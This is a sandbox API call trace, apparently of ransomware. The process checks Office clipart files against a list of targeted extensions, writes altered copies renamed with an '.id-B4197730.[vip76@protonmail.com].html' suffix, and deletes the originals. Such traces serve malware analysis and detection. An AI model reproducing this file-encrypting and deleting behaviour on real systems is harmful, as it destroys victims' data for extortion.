	[0207.878] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.878] SetEndOfFile (hFile=0x38c) returned 1
	[0207.879] CloseHandle (hObject=0x38c) returned 1
	[0207.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1
	[0207.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.880] lstrlenW (lpString=".doc") returned 4
	[0207.880] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.880] lstrlenW (lpString=".docx") returned 5
	[0207.880] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.880] lstrlenW (lpString=".pdf") returned 4
	[0207.880] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.880] lstrlenW (lpString=".xls") returned 4
	[0207.880] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.880] lstrlenW (lpString=".xlsx") returned 5
	[0207.880] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.880] lstrlenW (lpString=".ppt") returned 4
	[0207.880] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.880] lstrlenW (lpString=".zip") returned 4
	[0207.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.881] lstrlenW (lpString=".rar") returned 4
	[0207.881] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString=".bz2") returned 4
	[0207.881] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString=".7z") returned 3
	[0207.881] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString=".dbf") returned 4
	[0207.881] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString=".1cd") returned 4
	[0207.881] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString=".jpg") returned 4
	[0207.881] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString=".doc") returned 4
	[0207.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString=".docx") returned 5
	[0207.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.881] lstrlenW (lpString=".pdf") returned 4
	[0207.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString=".xls") returned 4
	[0207.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.881] lstrlenW (lpString=".xlsx") returned 5
	[0207.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.881] lstrlenW (lpString=".ppt") returned 4
	[0207.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.881] lstrlenW (lpString=".zip") returned 4
	[0207.881] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.881] lstrlenW (lpString=".rar") returned 4
	[0207.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.882] lstrlenW (lpString=".bz2") returned 4
	[0207.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.882] lstrlenW (lpString=".7z") returned 3
	[0207.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.882] lstrlenW (lpString=".dbf") returned 4
	[0207.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.882] lstrlenW (lpString=".1cd") returned 4
	[0207.882] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68
	[0207.882] lstrlenW (lpString=".jpg") returned 4
	[0207.882] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.882] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.882] lstrlenW (lpString="HH00623_.WMF") returned 12
	[0207.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.882] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=10644) returned 1
	[0207.883] CloseHandle (hObject=0x38c) returned 1
	[0207.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220
	[0207.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.883] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.883] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.884] GetLastError () returned 0x0
	[0207.884] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x2994, lpOverlapped=0x0) returned 1
	[0207.885] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0207.886] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.886] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.887] SetEndOfFile (hFile=0x350) returned 1
	[0207.887] CloseHandle (hObject=0x350) returned 1
	[0207.887] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.887] SetEndOfFile (hFile=0x38c) returned 1
	[0207.888] CloseHandle (hObject=0x38c) returned 1
	[0207.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1
	[0207.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.889] lstrlenW (lpString=".doc") returned 4
	[0207.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.889] lstrlenW (lpString=".docx") returned 5
	[0207.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.889] lstrlenW (lpString=".pdf") returned 4
	[0207.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.889] lstrlenW (lpString=".xls") returned 4
	[0207.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.889] lstrlenW (lpString=".xlsx") returned 5
	[0207.889] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.889] lstrlenW (lpString=".ppt") returned 4
	[0207.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.889] lstrlenW (lpString=".zip") returned 4
	[0207.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.889] lstrlenW (lpString=".rar") returned 4
	[0207.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.889] lstrlenW (lpString=".bz2") returned 4
	[0207.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.889] lstrlenW (lpString=".7z") returned 3
	[0207.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.889] lstrlenW (lpString=".dbf") returned 4
	[0207.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString=".1cd") returned 4
	[0207.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString=".jpg") returned 4
	[0207.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString=".doc") returned 4
	[0207.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString=".docx") returned 5
	[0207.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.890] lstrlenW (lpString=".pdf") returned 4
	[0207.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString=".xls") returned 4
	[0207.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.890] lstrlenW (lpString=".xlsx") returned 5
	[0207.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.890] lstrlenW (lpString=".ppt") returned 4
	[0207.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString=".zip") returned 4
	[0207.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.890] lstrlenW (lpString=".rar") returned 4
	[0207.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString=".bz2") returned 4
	[0207.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString=".7z") returned 3
	[0207.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.890] lstrlenW (lpString=".dbf") returned 4
	[0207.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.891] lstrlenW (lpString=".1cd") returned 4
	[0207.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68
	[0207.891] lstrlenW (lpString=".jpg") returned 4
	[0207.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.891] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.891] lstrlenW (lpString="HH00625_.WMF") returned 12
	[0207.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.891] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=2116) returned 1
	[0207.891] CloseHandle (hObject=0x38c) returned 1
	[0207.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220
	[0207.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.892] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.892] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.893] GetLastError () returned 0x0
	[0207.893] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x844, lpOverlapped=0x0) returned 1
	[0208.311] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x850, lpOverlapped=0x0) returned 1
	[0208.312] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.313] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.313] SetEndOfFile (hFile=0x350) returned 1
	[0208.313] CloseHandle (hObject=0x350) returned 1
	[0208.313] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.313] SetEndOfFile (hFile=0x38c) returned 1
	[0208.314] CloseHandle (hObject=0x38c) returned 1
	[0208.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1
	[0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.315] lstrlenW (lpString=".doc") returned 4
	[0208.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.315] lstrlenW (lpString=".docx") returned 5
	[0208.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.315] lstrlenW (lpString=".pdf") returned 4
	[0208.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.315] lstrlenW (lpString=".xls") returned 4
	[0208.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.315] lstrlenW (lpString=".xlsx") returned 5
	[0208.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.315] lstrlenW (lpString=".ppt") returned 4
	[0208.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.315] lstrlenW (lpString=".zip") returned 4
	[0208.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.315] lstrlenW (lpString=".rar") returned 4
	[0208.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.315] lstrlenW (lpString=".bz2") returned 4
	[0208.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.316] lstrlenW (lpString=".7z") returned 3
	[0208.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.316] lstrlenW (lpString=".dbf") returned 4
	[0208.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.316] lstrlenW (lpString=".1cd") returned 4
	[0208.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.316] lstrlenW (lpString=".jpg") returned 4
	[0208.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.316] lstrlenW (lpString=".doc") returned 4
	[0208.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.316] lstrlenW (lpString=".docx") returned 5
	[0208.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.317] lstrlenW (lpString=".pdf") returned 4
	[0208.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString=".xls") returned 4
	[0208.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.317] lstrlenW (lpString=".xlsx") returned 5
	[0208.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.317] lstrlenW (lpString=".ppt") returned 4
	[0208.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.317] lstrlenW (lpString=".zip") returned 4
	[0208.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.317] lstrlenW (lpString=".rar") returned 4
	[0208.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString=".bz2") returned 4
	[0208.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString=".7z") returned 3
	[0208.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.317] lstrlenW (lpString=".dbf") returned 4
	[0208.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.317] lstrlenW (lpString=".1cd") returned 4
	[0208.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68
	[0208.317] lstrlenW (lpString=".jpg") returned 4
	[0208.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.317] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.317] lstrlenW (lpString="HH01080_.WMF") returned 12
	[0208.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.318] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=5000) returned 1
	[0208.318] CloseHandle (hObject=0x38c) returned 1
	[0208.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220
	[0208.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0208.318] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.318] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0208.319] GetLastError () returned 0x0
	[0208.319] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x1388, lpOverlapped=0x0) returned 1
	[0208.320] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0208.322] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.322] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.322] SetEndOfFile (hFile=0x350) returned 1
	[0208.322] CloseHandle (hObject=0x350) returned 1
